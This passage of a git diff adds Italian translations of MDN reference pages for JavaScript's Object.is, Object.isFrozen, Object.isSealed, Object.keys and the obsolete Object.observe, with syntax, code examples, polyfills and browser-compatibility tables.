+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/it/web/javascript/reference/global_objects/object/is/index.html b/files/it/web/javascript/reference/global_objects/object/is/index.html
new file mode 100644
index 0000000000..ffb979fcb5
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/object/is/index.html
@@ -0,0 +1,130 @@
+---
+title: Object.is()
+slug: Web/JavaScript/Reference/Global_Objects/Object/is
+tags:
+  - Comparazione
+  - Condizionale
+  - Condizione
+  - ECMAScript 2015
+  - Equalità
+  - Italiano
+  - JavaScript
+  - Oggetto
+  - Uguaglianza
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/is
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>Object.is()</strong></code> determina se i due parametri di input hanno lo <a href="/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness"> stesso valore</a>.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>Object.is(<var>value1</var>, <var>value2</var>);</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>value1</code></dt>
+ <dd>Il primo valore da comparare.</dd>
+ <dt><code>value2</code></dt>
+ <dd>Il secondo valore da comparare.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{jsxref("Boolean")}} indicating whether or not the two arguments are the same value.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p><code>Object.is()</code> determina se <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness">due valori sono uguali</a>. Due valori sono uguali se sono :</p>
+
+<ul>
+ <li>entrambi {{jsxref("undefined")}}</li>
+ <li>entrambi {{jsxref("null")}}</li>
+ <li>entrambi  <code>true</code> o entrambi <code>false</code></li>
+ <li>entrambi stringhe della stessa lunghezza con gli stessi caratteri</li>
+ <li>entrambi lo stesso oggetto</li>
+ <li>entrambi numeri ed
+  <ul>
+   <li>entrambi  <code>+0</code></li>
+   <li>entrambi  <code>-0</code></li>
+   <li>entrambi {{jsxref("NaN")}}</li>
+   <li>o entrambi non sono 0 ed entrambi non sono {{jsxref("NaN")}} ed entrambi hanno lo stesso valore</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Questo <em>non</em> è la stessa uguaglianza dell'operatore {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}}. L'operatore {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} applica varie conversioni ad entrambi (se non sono dello stesso tipo) prima di testare l'uguaglianza (ad esempio, <code>"" == false</code> risultando <code>true</code>), ma <code>Object.is</code> non converte i loro valori.</p>
+
+<p>Inoltre questo <em>non</em> è la stessa uguaglianza dell'operatore {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}. L'operatore {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}} (ed anche l'operatore {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}}) trattano i numeri <code>-0</code> e <code>+0</code> come uguali e trattano {{jsxref("Number.NaN")}} differentemente da {{jsxref("NaN")}}.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js">Object.is('foo', 'foo');     // true
+Object.is(window, window);   // true
+
+Object.is('foo', 'bar');     // false
+Object.is([], []);           // false
+
+var test = { a: 1 };
+Object.is(test, test);       // true
+
+Object.is(null, null);       // true
+
+// Casi speciali
+Object.is(0, -0);            // false
+Object.is(-0, -0);           // true
+Object.is(NaN, 0/0);         // true
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (!Object.is) {
+  Object.is = function(x, y) {
+    // Algoritmo SameValue
+    if (x === y) { // Steps 1-5, 7-10
+      // Steps 6.b-6.e: +0 != -0
+      return x !== 0 || 1 / x === 1 / y;
+    } else {
+     // Step 6.a: NaN == NaN
+     return x !== x &amp;&amp; y !== y;
+    }
+  };
+}</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.is', 'Object.is')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.is', 'Object.is')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_coi_browser">Compatibilità coi browser</h2>
+
+<div>
+<div class="hidden">La compatibility table su questa pagina è generata da dati strutturali. Se vuoi contribuire per i dati, puoi visitare <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ed inviarci una pull request.</div>
+
+<p>{{Compat("javascript.builtins.Object.is")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness">Equality comparisons and sameness</a> (in inglese) — un paragone di tutte e tre le facilitazioni per comparare uguaglianze</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/object/isfrozen/index.html b/files/it/web/javascript/reference/global_objects/object/isfrozen/index.html
new file mode 100644
index 0000000000..b1220f1ae5
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/object/isfrozen/index.html
@@ -0,0 +1,184 @@
+---
+title: Object.isFrozen()
+slug: Web/JavaScript/Reference/Global_Objects/Object/isFrozen
+tags:
+  - ECMAScript 5
+  - Function
+  - Italian
+  - Italiano
+  - JavaScript
+  - JavaScript 1.8.5
+  - Method
+  - Object
+  - Oggetto
+  - funzione
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isFrozen
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>Object.isFrozen()</strong></code> determina se un oggetto è {{jsxref("Object.freeze()", "congelato", "", 1)}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-isfrozen.html")}}</div>
+
+<p class="hidden">Il codice sorgente per questo esempio interattivo si trova in una repository di GitHub. Se vuoi contribuire al progetto degli esempi interattivi, puoi clonare <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> ed inviarci una pull request.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>Object.isFrozen(<var>obj</var>)</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'oggetto da controllare.</dd>
+</dl>
+
+<h3 id="Valori_di_ritorno">Valori di ritorno</h3>
+
+<p>Un {{jsxref("Boolean")}} che indica se l'oggetto è congelato oppure no.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Un oggetto è congelato solo e soltanto se non è {{jsxref("Object.isExtensible()", "estensibile", "", 1)}}, tutte le sue proprietà sono non-configurabili, e tutte le sue proprietà "data" (che non sono proprietà "accessor", quindi non hanno componenti getter o setters) non sono sovrascrivibili.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js">// Un nuovo oggetto è estensibile, quindi non è congelato.
+Object.isFrozen({}); // === false
+
+// Un oggetto vuoto che non è estensibile
+// è vacuamente congelato.
+var vacuouslyFrozen = Object.preventExtensions({});
+Object.isFrozen(vacuouslyFrozen); // === true
+
+// Un nuovo oggetto con una sola proprietà è estensibile,
+// quindi non è congelato.
+var oneProp = { p: 42 };
+Object.isFrozen(oneProp); // === false
+
+// Prevenire le estensioni dell'oggetto, comunque non
+// lo rende congelato, perché la proprietà è comunque
+// configurabile(e sovrascrivibile).
+Object.preventExtensions(oneProp);
+Object.isFrozen(oneProp); // === false
+
+// ...ma poi cancellare quella proprietà, rende l'oggetto
+// vacuamente congelato.
+delete oneProp.p;
+Object.isFrozen(oneProp); // === true
+
+// Un oggetto non-estensibile con una proprietà non-sovrascrivibile,
+// ma comunque configurabile, non è congelato.
+var nonWritable = { e: 'plep' };
+Object.preventExtensions(nonWritable);
+Object.defineProperty(nonWritable, 'e', {
+  writable: false
+}); // rende non-sovrascrivibile
+Object.isFrozen(nonWritable); // === false
+
+// Cambiare quella proprietà in non-configurabile
+// rende l'oggetto congelato.
+Object.defineProperty(nonWritable, 'e', {
+  configurable: false
+}); // rende non-configurabile
+Object.isFrozen(nonWritable); // === true
+
+// Un oggetto non-estensibile con una proprietà non-configurabile
+// ma comunque sovrascribile, non è congelato.
+var nonConfigurable = { release: 'the kraken!' };
+Object.preventExtensions(nonConfigurable);
+Object.defineProperty(nonConfigurable, 'release', {
+  configurable: false
+});
+Object.isFrozen(nonConfigurable); // === false
+
+// Cambiare quella proprietà in non-sovrascribile,
+// allora rende l'oggetto congelato.
+Object.defineProperty(nonConfigurable, 'release', {
+  writable: false
+});
+Object.isFrozen(nonConfigurable); // === true
+
+// Un oggetto non-estensibile con una configurabile
+// proprietà "accessor", non è congelato.
+var accessor = { get food() { return 'yum'; } };
+Object.preventExtensions(accessor);
+Object.isFrozen(accessor); // === false
+
+// ...ma poi rendere quella proprietà non-configurabile
+// congela l'oggetto.
+Object.defineProperty(accessor, 'food', {
+  configurable: false
+});
+Object.isFrozen(accessor); // === true
+
+// Ma il metodo più veloce per congelare un oggetto,
+// è utilizzare il metodo Object.freeze su di esso.
+var frozen = { 1: 81 };
+Object.isFrozen(frozen); // === false
+Object.freeze(frozen);
+Object.isFrozen(frozen); // === true
+
+// Per definizione, un oggetto congelato non è estensibile.
+Object.isExtensible(frozen); // === false
+
+// E sempre per definizione, un oggetto congelato è anche sigillato.
+Object.isSealed(frozen); // === true
+</pre>
+
+<h2 id="Note">Note</h2>
+
+<p>In ES5, se l'argomento di questo metodo non è un'oggetto, allora verrà generato un {{jsxref("TypeError")}}. In ES2015, un argomento che non è un oggetto verrà trattato come se fosse un normale oggetto già congelato, e perciò verrà semplicemente ritornato <code>true</code>.</p>
+
+<pre class="brush: js">Object.isFrozen(1);
+// TypeError: 1 non è un oggetto (codice in ES5)
+
+Object.isFrozen(1);
+// true                          (codice in ES2015)
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.12', 'Object.isFrozen')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definizione iniziale. Implementato in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.isfrozen', 'Object.isFrozen')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.isfrozen', 'Object.isFrozen')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+<div class="hidden">La compatibility table su questa pagina è generata da dati strutturali. Se vuoi contribuire per i dati, puoi visitare <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ed inviarci una pull request.</div>
+
+<p>{{Compat("javascript.builtins.Object.isFrozen")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/object/issealed/index.html b/files/it/web/javascript/reference/global_objects/object/issealed/index.html
new file mode 100644
index 0000000000..d3bdf1b76b
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/object/issealed/index.html
@@ -0,0 +1,146 @@
+---
+title: Object.isSealed()
+slug: Web/JavaScript/Reference/Global_Objects/Object/isSealed
+tags:
+  - ECMAScript 5
+  - Function
+  - Italian
+  - Italiano
+  - JavaScript
+  - JavaScript 1.8.5
+  - Method
+  - Object
+  - Oggetto
+  - funzione
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isSealed
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>Object.isSealed()</strong></code> determina se un oggetto è sigillato.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-issealed.html")}}</div>
+
+<p class="hidden">Il codice sorgente per questo esempio interattivo si trova in una repository di GitHub. Se vuoi contribuire al progetto degli esempi interattivi, puoi clonare <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> ed inviarci una pull request.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>Object.isSealed(<var>obj</var>)</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'oggetto da controllare.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un {{jsxref("Boolean")}} che indica se l'oggetto è congelato oppure no.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Ritorna <code>true</code> se l'oggetto è sigillato, altrimenti <code>false</code>. Un oggetto  è sigillato se non è {{jsxref("Object.isExtensible", "estensibile", "", 1)}} e se tutte le sue proprietà sono non-configurabili e non possono essere rimosse (ma non necessariamente non-sovrascrivibili).</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js">// Gli oggetti non sono sigillati di default.
+var empty = {};
+Object.isSealed(empty); // === false
+
+// Se rendi un oggetto vuoto non-estensibile,
+// è vacuamente sigillato.
+Object.preventExtensions(empty);
+Object.isSealed(empty); // === true
+
+// Lo stesso non si verifica con un oggetto non vuoto,
+// a meno che le sue proprietà non sono tutte non-configurabili.
+var hasProp = { fee: 'fie foe fum' };
+Object.preventExtensions(hasProp);
+Object.isSealed(hasProp); // === false
+
+// Ma rendere tutte le sue proprietà non-configurabili
+// rende l'oggetto effettivamente sigillato.
+Object.defineProperty(hasProp, 'fee', {
+  configurable: false
+});
+Object.isSealed(hasProp); // === true
+
+// Il metodo più veloce per sigillare un oggetto, ovviamente,
+// è il metodo Object.seal.
+var sealed = {};
+Object.seal(sealed);
+Object.isSealed(sealed); // === true
+
+// Un oggetto sigillato è, per definizione, non-estensibile.
+Object.isExtensible(sealed); // === false
+
+// Un oggetto sigillato può anche essere congelato,
+// ma non è necessario.
+Object.isFrozen(sealed); // === true
+// (tutte le proprietà sono anche non-sovrascrivibili)
+
+var s2 = Object.seal({ p: 3 });
+Object.isFrozen(s2); // === false
+// ('p' è comunque sovrascrivibile)
+
+var s3 = Object.seal({ get p() { return 0; } });
+Object.isFrozen(s3); // === true
+// (per le proprietà "accessor", è importante solo la configurabilità della proprietà)
+</pre>
+
+<h2 id="Note">Note</h2>
+
+<p>In ES5, se l'argomento di questo metodo non è un'oggetto, allora verrà generato un {{jsxref("TypeError")}}. In ES2015, un argomento che non è un oggetto verrà trattato come se fosse un normale oggetto già sigillato, e perciò verrà semplicemente ritornato <code>true</code>.</p>
+
+<pre class="brush: js">Object.isSealed(1);
+// TypeError: 1 non è un oggetto (codice in ES5)
+
+Object.isSealed(1);
+// true                          (codice in ES2015)
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.11', 'Object.isSealed')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definizione iniziale. Implementato in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.issealed', 'Object.isSealed')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.issealed', 'Object.isSealed')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+<div class="hidden">Il codice sorgente per questo esempio interattivo si trova in una repository di GitHub. Se vuoi contribuire al progetto degli esempi interattivi, puoi clonare <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> ed inviarci una pull request.</div>
+
+<p>{{Compat("javascript.builtins.Object.isSealed")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/object/keys/index.html b/files/it/web/javascript/reference/global_objects/object/keys/index.html
new file mode 100644
index 0000000000..ed748c0fad
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/object/keys/index.html
@@ -0,0 +1,167 @@
+---
+title: Object.keys()
+slug: Web/JavaScript/Reference/Global_Objects/Object/keys
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Metodi
+  - Oggetti
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/keys
+---
+<div>
+ {{JSRef("Global_Objects", "Object")}}</div>
+<h2 id="Summary" name="Summary">Sommario</h2>
+<p>Il metodo <code><strong>Object.keys()</strong></code> restituisce un array contenente le proprietà enumerabili di un dato oggetto, nel medesimo ordine fornito da un ciclo <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a>  (la differenza è che un ciclo for-in enumera anche le proprietà nella catena di prototipi).</p>
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+<pre class="syntaxbox"><code>Object.keys(<em>obj</em>)</code></pre>
+<h3 id="Parameters" name="Parameters">Parametri</h3>
+<dl>
+ <dt>
+  <em>obj</em></dt>
+ <dd>
+  L'oggetto del quale si devono restituire le proprietà enumerabili.</dd>
+</dl>
+<h2 id="Description" name="Description">Descrizione</h2>
+<p><code>Object.keys</code> restituisce un array i quali elementi sono stringhe corrispondenti alle proprietà enumerabili trovate direttamente in <code>obj</code>. L'ordine delle proprietà è lo stesso di quello dato ciclando manualmente sulle proprietà dell'oggetto.</p>
+<h2 id="Esempi">Esempi</h2>
+<pre class="brush: js">var arr = ["a", "b", "c"];
+alert(Object.keys(arr)); // chiama alert con argomento "0,1,2"
+
+// array like object
+var obj = { 0 : "a", 1 : "b", 2 : "c"};
+alert(Object.keys(obj)); // chiama alert con argomento "0,1,2"
+
+// array like object with random key ordering
+var an_obj = { 100: "a", 2: "b", 7: "c"};
+alert(Object.keys(an_obj)); // chiama alert con argomento "2, 7, 100"
+
+// getFoo is property which isn't enumerable
+var my_obj = Object.create({}, { getFoo : { value : function () { return this.foo } } });
+my_obj.foo = 1;
+
+alert(Object.keys(my_obj)); // chiama alert con foo come unico argomento
+</pre>
+<p>Per ottenere tutte le proprietà, anche quelle non enumerabili, si veda {{jsxref("Object.getOwnPropertyNames")}}.</p>
+<h2 id="Polyfill">Polyfill</h2>
+<p>Per aggiungere un supporto equivalente a <code>Object.keys,</code> in ambienti datati che non lo supportino nativamente, si copi il seguente frammento di codice:</p>
+<pre class="brush: js">// Da https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys
+if (!Object.keys) {
+  Object.keys = (function () {
+    'use strict';
+    var hasOwnProperty = Object.prototype.hasOwnProperty,
+        hasDontEnumBug = !({toString: null}).propertyIsEnumerable('toString'),
+        dontEnums = [
+          'toString',
+          'toLocaleString',
+          'valueOf',
+          'hasOwnProperty',
+          'isPrototypeOf',
+          'propertyIsEnumerable',
+          'constructor'
+        ],
+        dontEnumsLength = dontEnums.length;
+
+    return function (obj) {
+      if (typeof obj !== 'object' &amp;&amp; (typeof obj !== 'function' || obj === null)) {
+        throw new TypeError('Object.keys called on non-object');
+      }
+
+      var result = [], prop, i;
+
+      for (prop in obj) {
+        if (hasOwnProperty.call(obj, prop)) {
+          result.push(prop);
+        }
+      }
+
+      if (hasDontEnumBug) {
+        for (i = 0; i &lt; dontEnumsLength; i++) {
+          if (hasOwnProperty.call(obj, dontEnums[i])) {
+            result.push(dontEnums[i]);
+          }
+        }
+      }
+      return result;
+    };
+  }());
+}
+</pre>
+<p>Si noti che il codice sopra include chiavi non-enumerabili in IE7 (e forse IE8), nel caso in cui si passi un oggetto proveniente da un'altra finestra.</p>
+<p>Per un semplice polyfill, si veda <a href="http://tokenposts.blogspot.com.au/2012/04/javascript-objectkeys-browser.html">Javascript - Object.keys Browser Compatibility</a>.</p>
+<h2 id="Specifiche">Specifiche</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.14', 'Object.keys')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definizione iniziale.<br>
+    implementato in in JavaScript 1.8.5</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.keys', 'Object.keys')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Firefox (Gecko)</th>
+    <th>Chrome</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Supporto base</td>
+    <td>4 (2.0)</td>
+    <td>5</td>
+    <td>9</td>
+    <td>12</td>
+    <td>5</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>Android</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Supporto base</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<p>Basato su <a href="http://kangax.github.com/es5-compat-table/">Kangax's compat table</a>.</p>
+<h2 id="See_also" name="See_also">Vedere anche</h2>
+<ul>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable")}}</li>
+ <li>{{jsxref("Object.create")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/object/observe/index.html b/files/it/web/javascript/reference/global_objects/object/observe/index.html
new file mode 100644
index 0000000000..4307b4e75f
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/object/observe/index.html
@@ -0,0 +1,189 @@
+---
+title: Object.observe()
+slug: Web/JavaScript/Reference/Global_Objects/Object/observe
+translation_of: Archive/Web/JavaScript/Object.observe
+---
+<div>{{JSRef}} {{obsolete_header}}</div>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>Il metodo <strong><code>Object.observe()</code></strong> è usato per l'osservazione asincrona dei cambiamenti di un oggetto. Esso fornisce uno stream dei cambiamenti nell'ordine in cui si verificano.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>Object.observe(<var>obj</var>, <var>callback</var>[, <var>acceptList</var>])</code></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>L'oggetto che verrà osservato.</dd>
+ <dt><code>callback</code></dt>
+ <dd>La funzione richiamata ogni volta che si verificano delle modifiche, con i seguenti argomenti:
+ <dl>
+  <dt><code>changes</code></dt>
+  <dd>Un array di oggetti di oggetti che rappresentano una modifica. Le properties di questi oggetti sono:
+  <ul>
+   <li><strong><code>name</code></strong>: Il nome della property che è stata modificata.</li>
+   <li><strong><code>object</code></strong>: L'oggetto modificato dopo che la modifica è avvenuta.</li>
+   <li><strong><code>type</code></strong>: Una stringa che indica il tipo di modifica in atto. Può essere valorizzata con <code>"add"</code>, <code>"update"</code> o <code>"delete"</code>.</li>
+   <li><strong><code>oldValue</code></strong>: Solo per i tipi <code>"update"</code> e <code>"delete"</code>. Indica il valore prima della modifica.</li>
+  </ul>
+  </dd>
+ </dl>
+ </dd>
+ <dt><code>acceptList</code></dt>
+ <dd>La lista dei tipi di modifiche che possono essere osservate su un dato oggetto per un dato callback. Se omesso, sarà usato l'array <code>["add", "update", "delete", "reconfigure", "setPrototype", "preventExtensions"]</code>.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>La funzione <code>callback</code> è chiamata ogni volta che una modifica viene fatta sull'<span style="font-family: Consolas,Monaco,'Andale Mono',monospace;">obj.</span> Ad essa viene passata un'array di tutte le modifiche, nell'ordine in cui si verificano.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Esempio_Log_di_tutti_e_sei_differenti_tipi">Esempio: Log di tutti e sei differenti tipi</h3>
+
+<pre class="brush: js">var obj = {
+  foo: 0,
+  bar: 1
+};
+
+Object.observe(obj, function(changes) {
+  console.log(changes);
+});
+
+obj.baz = 2;
+// [{name: 'baz', object: &lt;obj&gt;, type: 'add'}]
+
+obj.foo = 'hello';
+// [{name: 'foo', object: &lt;obj&gt;, type: 'update', oldValue: 0}]
+
+delete obj.baz;
+// [{name: 'baz', object: &lt;obj&gt;, type: 'delete', oldValue: 2}]
+
+Object.defineProperty(obj, 'foo', {writable: false});
+// [{name: 'foo', object: &lt;obj&gt;, type: 'reconfigure'}]
+
+Object.setPrototypeOf(obj, {});
+// [{name: '__proto__', object: &lt;obj&gt;, type: 'setPrototype', oldValue: &lt;prototype&gt;}]
+
+Object.seal(obj);
+// [
+//   {name: 'foo', object: &lt;obj&gt;, type: 'reconfigure'},
+//   {name: 'bar', object: &lt;obj&gt;, type: 'reconfigure'},
+//   {object: &lt;obj&gt;, type: 'preventExtensions'}
+// ]
+</pre>
+
+<h3 id="Esempio_Data_Binding">Esempio: Data Binding</h3>
+
+<pre class="brush: js">// A user model
+var user = {
+  id: 0,
+  name: 'Brendan Eich',
+  title: 'Mr.'
+};
+
+// Create a greeting for the user
+function updateGreeting() {
+  user.greeting = 'Hello, ' + user.title + ' ' + user.name + '!';
+}
+updateGreeting();
+
+Object.observe(user, function(changes) {
+  changes.forEach(function(change) {
+    // Any time name or title change, update the greeting
+    if (change.name === 'name' || change.name === 'title') {
+      updateGreeting();
+    }
+  });
+});
+</pre>
+
+<h3 id="Esempio_Tipo_di_modifica_personalizzata">Esempio: Tipo di modifica personalizzata</h3>
+
+<pre class="brush: js">// A point on a 2D plane
+var point = {x: 0, y: 0, distance: 0};
+
+function setPosition(pt, x, y) {
+  // Performing a custom change
+  Object.getNotifier(pt).performChange('reposition', function() {
+    var oldDistance = pt.distance;
+    pt.x = x;
+    pt.y = y;
+    pt.distance = Math.sqrt(x * x + y * y);
+    return {oldDistance: oldDistance};
+  });
+}
+
+Object.observe(point, function(changes) {
+  console.log('Distance change: ' + (point.distance - changes[0].oldDistance));
+}, ['reposition']);
+
+setPosition(point, 3, 4);
+// Distance change: 5
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<p><a href="https://github.com/arv/ecmascript-object-observe">Argomentazione proposta per ECMAScript 7</a>.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilita browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("23")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("23")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
